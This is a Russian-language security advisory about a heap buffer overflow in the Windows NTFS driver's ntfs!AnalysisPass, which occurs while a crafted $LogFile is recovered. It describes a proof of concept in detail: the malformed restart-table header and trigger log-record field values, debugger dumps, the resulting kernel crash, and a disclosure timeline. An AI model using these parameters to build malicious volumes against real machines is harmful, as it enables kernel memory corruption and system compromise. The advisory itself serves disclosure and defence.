[ << ALL_FEED ]

Heap-based buffer overflow in ntfs!AnalysisPass

Ещё в группе «Общее»

BDUPTCVE
2026-068122026-584682026-50494

Краткое описание

В функции ntfs!AnalysisPass драйвера NTFS Microsoft Windows существует переполнение буфера в куче. При восстановлении специально сформированного $LogFile, обработка записи журнала OpenNonresidentAttribute может привести к тому, что ntfs.sys скопирует больше данных из redo записи, чем помещается в одну запись таблицы OAT.

Ссылка на продукт

Microsoft Windows: https://www.microsoft.com/windows

CWE

CWE-122: переполнение буфера в куче.

Детали

NTFS записывает изменения метаданных в $LogFile тома для восстановления прерванных операций при монтировании тома. Во время восстановления ntfs!NtfsRestartVolume инициализирует состояние перезапуска и выполняет ntfs!AnalysisPass по записям журнала. OAT — это одна из таблица из которых состоит $LogFile, в которой отслеживается изменение нерезидентных атрибутов файлов, открытые для изменения. Нерезидентный атрибут хранит своё значение вне записи главной файловой таблицы файла (MFT). Записи OAT связывают последующие записи журнала с соответствующим атрибутом; таблица восстанавливается из $LogFile в память ядра, а её заголовок задаёт размер каждой записи.

OpenNonresidentAttribute — это операция журнала NTFS с кодом 0x1C. Данные ассоциированные с этой операцией предоставляют запись открытого атрибута, вместе с сопутствующими данными имени атрибута. Во время анализа NTFS устанавливает эту запись в позицию, указанную в TargetAttribute записи, позволяя последующим записям восстановления ссылаться на атрибут.

В проанализированной сборке ntfs!InitializeRestartState загружает таблицу перезапуска OAT из журнала. Функция ntfs!NtfsCheckRestartTable проверяет её структуру, но в коде отсутствует проверка минимального EntrySize таблицы OAT помимо ненулевого значения. Для записи OpenNonresidentAttribute AnalysisPass получает слот через ntfs!NtfsAllocateRestartTableFromIndex и копирует в него LogRecord->RedoLength байт из LogRecord + RedoOffset:

// ntfs!AnalysisPass
...
v68 = NtfsAllocateRestartTableFromIndex(
                  v67,
                  a2->AttributeNamesTable_Or_OnDiskOAT,
                  (unsigned __int16)CurrentLogRecord->TargetAttribute);
ExReleaseResourceLite(&a2->AttributeNamesTable_Or_OnDiskOAT->Resource);
memmove(v68,
        (char *)CurrentLogRecord + (unsigned __int16)CurrentLogRecord->RedoOffset,
        (unsigned __int16)CurrentLogRecord->RedoLength
);
...

Тот же код, но в виде дизассемблированного листинга:

// ntfs!AnalysisPass

1401a603b  movzx r8d, word ptr [r15+0Ch]  ; TargetAttribute
1401a6040  mov   rdx, [r13+1338h]         ; Vcb->OnDiskOat
1401a604a  call  NtfsAllocateRestartTableFromIndex
1401a604f  mov   rdi, rax                  ; destination entry
...
1401a6065  movzx r8d, word ptr [r15+6]    ; RedoLength
1401a606a  movzx edx, word ptr [r15+4]    ; RedoOffset
1401a606f  add   rdx, r15                  ; source in log record
1401a6072  mov   rcx, rdi                  ; destination entry
1401a6075  call  memmove

Размер слота назначения определяется значением OnDiskOat.Table->EntrySize, тогда как длина копирования берётся из записи журнала. Перед копированием эти длины не сравниваются. NtfsCheckLogRecord ограничивает область повторного выполнения (redo) пределами записи, но не ограничивает RedoLength размером записи OAT. Таким образом, запись может пройти проверки границ источника и всё равно переполнить запись назначения.

Proof of Concept

Когда специально сформированный PoC-том монтируется, NTFS обрабатывает образ следующим образом:

  1. Функция ntfs!InitializeRestartState читает специально сформированную таблицу открытых атрибутов из $LogFile.
  2. Таблица принимается со значением EntrySize = 4.
  3. Функция ntfs!AnalysisPass начинает работу со специально сформированной контрольной точки.
  4. Следующая запись обрабатывается как операция OpenNonresidentAttribute.
  5. NTFS запрашивает запись OAT через ntfs!NtfsAllocateRestartTableFromIndex.
  6. Аллокатор возвращает свободную 4-байтовую запись по смещению 0x18 в таблице.
  7. NTFS копирует RedoLength, а не размер записи назначения, в выделенную запись.
  8. memmove копирует 0xe00 контролируемых злоумышленником байт в 4-байтовый слот.

Область перезапуска указывает OpenAttributeTableLsn на сериализованную RESTART_TABLE, содержащую 44 записи. Её заголовок настроен следующим образом:

EntrySize       = 4
NumberEntries   = 44
NumberAllocated = 43
FirstFree       = 0x18
LastFree        = 0x18

0: kd> db rdx
ffff808b`689f6258  04 00 2c 00 2b 00 00 00-00 00 00 00 00 00 00 00  ..,.+...........
ffff808b`689f6268  18 00 00 00 18 00 00 00-00 00 00 00 ff ff ff ff  ................
ffff808b`689f6278  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6288  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6298  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62a8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62b8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62c8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

Первая запись, расположенная по смещению 0x18, оставлена свободной и содержит нулевое значение следующей записи, что завершает список свободных записей. Все остальные записи содержат маркер 0xffffffff, что означает, что запись не является свободной.

RESTART_TABLE
    +0x00  Table header
    +0x18  Entry 0: 0x00000000
    +0x1c  Entry 1: 0xffffffff
    ...
    +0xc4  Entry 43: 0xffffffff

Во время инициализации перезапуска NTFS принимает эту таблицу и устанавливает размер записи OAT на диске равным 4 байтам. Этот размер записи впоследствии используется при выделении памяти, выполняемом во время обработки записи OpenNonresidentAttribute.

Запись контрольной точки имеет длину клиентских данных 0x28. PoC вычисляет следующий LSN и размещает вызывающую запись сразу после него на той же странице журнала.

Триггер содержит следующие поля:

RedoOperation    = 0x1c  (OpenNonresidentAttribute)
UndoOperation    = 0x01
RedoOffset       = 0x28
RedoLength       = 0xe00
UndoOffset       = 0x28
UndoLength       = 0
TargetAttribute  = 0x18
LcnsToFollow     = 0
TargetVcn        = 0
ClientDataLength = 0xe28

1: kd> db r15
ffff808b`6cf8a188  1c 00 01 00 28 00 00 0e-28 00 00 00 18 00 00 00  ....(...(.......
ffff808b`6cf8a198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff808b`6cf8a1a8  ff ff ff ff ff ff ff ff-41 41 41 41 41 41 41 41  ........AAAAAAAA
ffff808b`6cf8a1b8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1c8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1d8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1e8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1f8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Буфер redo размером 0xe00 байт заполнен контролируемыми злоумышленником байтами 0x41.

1: kd> !pool rcx
Pool page ffffdf0258350c38 region is Special pool
*ffffdf0258350000 size:  3d8 data: ffffdf0258350c20 (NonPaged) *NtFR
        Pooltag NtFR : RestrSup.c, Binary : ntfs.sys

1: kd> p
rax=ffffb28a92b14d20 rbx=ffffdf0253eee8f8 rcx=ffffdf0258350c38 // destination pool
rdx=ffff808b6cf8a1b0 rsi=ffffcc0692ce8fd0 rdi=ffffdf0258350c38
rip=fffff8020ede1535 rsp=ffffb28a92b14e10 rbp=ffffb28a92b158f0
 r8=0000000000000e00  r9=ffffdf0258350c20 r10=0000000000000000 // r8 is a length of data to copy
r11=ffffb28a92b14e08 r12=ffffb28a92b14f90 r13=ffffdf0255b591b0
r14=0000000000000000 r15=ffff808b6cf8a188
iopl=0         nv up ei ng nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040292
Ntfs!AnalysisPass+0x7f1:
fffff802`0ede1535 e80636e8ff      call    Ntfs!memcpy (fffff802`0ec64b40)

Выполнение memcpy из приведённого выше фрагмента приводит к сбою.

1: kd> !analyze -v -force
Connected to Windows 10 26100 x64 target at (Tue Sep 29 05:46:08.598 2026 (UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
................................................
Loading User Symbols

Loading unloaded module list
.............

************* Symbol Loading Error Summary **************
Module name            Error
SharedUserData         No error - symbol load deferred

You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffdf0258351000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8020ec64c53, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffffdf0258350000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4250

    Key  : Analysis.Elapsed.mSec
    Value: 9698

    Key  : Analysis.IO.Other.Mb
    Value: 22

    Key  : Analysis.IO.Read.Mb
    Value: 35

    Key  : Analysis.IO.Write.Mb
    Value: 332

    Key  : Analysis.Init.CPU.mSec
    Value: 156906

    Key  : Analysis.Init.Elapsed.mSec
    Value: 102952890

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 323

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!memcpy

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff8020ec64c53

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x54c53

    Key  : Failure.Hash
    Value: {42897693-3f38-2825-9348-02f570d06af5}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffffdf0258351000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff8020ec64c53

BUGCHECK_P4: 2

FAULTING_THREAD:  ffffdf024a721080

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffffdf0258351000

WRITE_ADDRESS:  ffffdf0258351000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!memcpy+113
fffff802`0ec64c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0

STACK_TEXT:  
ffffb28a`92b141d8 fffff802`7bd5ce42     : ffffb28a`92b14258 00000000`00000001 00000000`00000080 fffff802`7be67901 : nt!DbgBreakPointWithStatus
ffffb28a`92b141e0 fffff802`7bd5c36c     : 00000000`00000003 ffffb28a`92b14340 fffff802`7be67b00 ffffb28a`92b14900 : nt!KiBugCheckDebugBreak+0x12
ffffb28a`92b14240 fffff802`7bca6537     : 00000000`00000000 fffff802`7bb81cb6 ffffdf02`58351000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffb28a`92b149d0 fffff802`7bb8194c     : 00000000`00000050 ffffdf02`58351000 00000000`00000002 ffffb28a`92b14c70 : nt!KeBugCheckEx+0x107
ffffb28a`92b14a10 fffff802`7b9f0510     : 00000000`00000000 ffff8000`00000000 ffffdf02`58351000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffb28a`92b14b00 fffff802`7be5cfcb     : 00000000`00000000 fffff802`7be59885 ffffdf02`58350c38 ffffb28a`92b14ce0 : nt!MmAccessFault+0x630
ffffb28a`92b14c70 fffff802`0ec64c53     : fffff802`0ede153a ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 : nt!KiPageFault+0x38b
ffffb28a`92b14e08 fffff802`0ede153a     : ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 ffffdf02`55b591b0 : Ntfs!memcpy+0x113
ffffb28a`92b14e10 fffff802`0ee45000     : ffffdf02`53eee8f8 ffffdf02`00000000 00000000`00000000 ffffb28a`92b14f90 : Ntfs!AnalysisPass+0x7f6
ffffb28a`92b14f30 fffff802`0edcc3be     : ffffdf02`53eeeab8 00000000`00000001 ffffdf02`53eee8f8 ffffdf02`53eeeab8 : Ntfs!NtfsRestartVolume+0xbc
ffffb28a`92b150a0 fffff802`0edc9f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffffdf02`4a7210f8 : Ntfs!NtfsMountVolume+0x1816
ffffb28a`92b157e0 fffff802`0ec3e639     : ffffdf02`53eee8f8 ffffb28a`92b158f0 00000000`00000008 ffffdf02`4a721080 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffb28a`92b158c0 fffff802`7ba8b7ec     : ffffdf02`4a721080 ffffdf02`4a721080 ffffdf02`4a6e5530 fffff802`0ec3e020 : Ntfs!NtfsFspDispatch+0x619
ffffb28a`92b15a10 fffff802`7bc31afa     : ffffdf02`4a721080 ffffdf02`4a721080 fffff802`7ba8b200 ffffdf02`4a6e5530 : nt!ExpWorkerThread+0x5ec
ffffb28a`92b15bf0 fffff802`7be4ef84     : fffff802`0c661180 ffffdf02`4a721080 fffff802`7bc31aa0 00630069`00760072 : nt!PspSystemThreadStartup+0x5a
ffffb28a`92b15c40 00000000`00000000     : ffffb28a`92b16000 ffffb28a`92b10000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!memcpy+113

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffffdf024a6b4040; .thread /r /p 0xffffdf024a721080 ; kb

BUCKET_ID_FUNC_OFFSET:  113

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!memcpy

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {42897693-3f38-2825-9348-02f570d06af5}

Followup:     MachineOwner
---------

Последующая эксплуатация тривиальна.

Хронология раскрытия

  • 12 мая 2026 г.: производитель был уведомлён об уязвимости и ему был предоставлен технический отчёт.
  • 7 июля 2026 г.: производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и рекомендаций.
  • 14 июля 2026 г.: были выпущены обновления безопасности и опубликованы рекомендации.

Ещё от author_vr

Ещё от author_vr

Ещё в группе «Общее»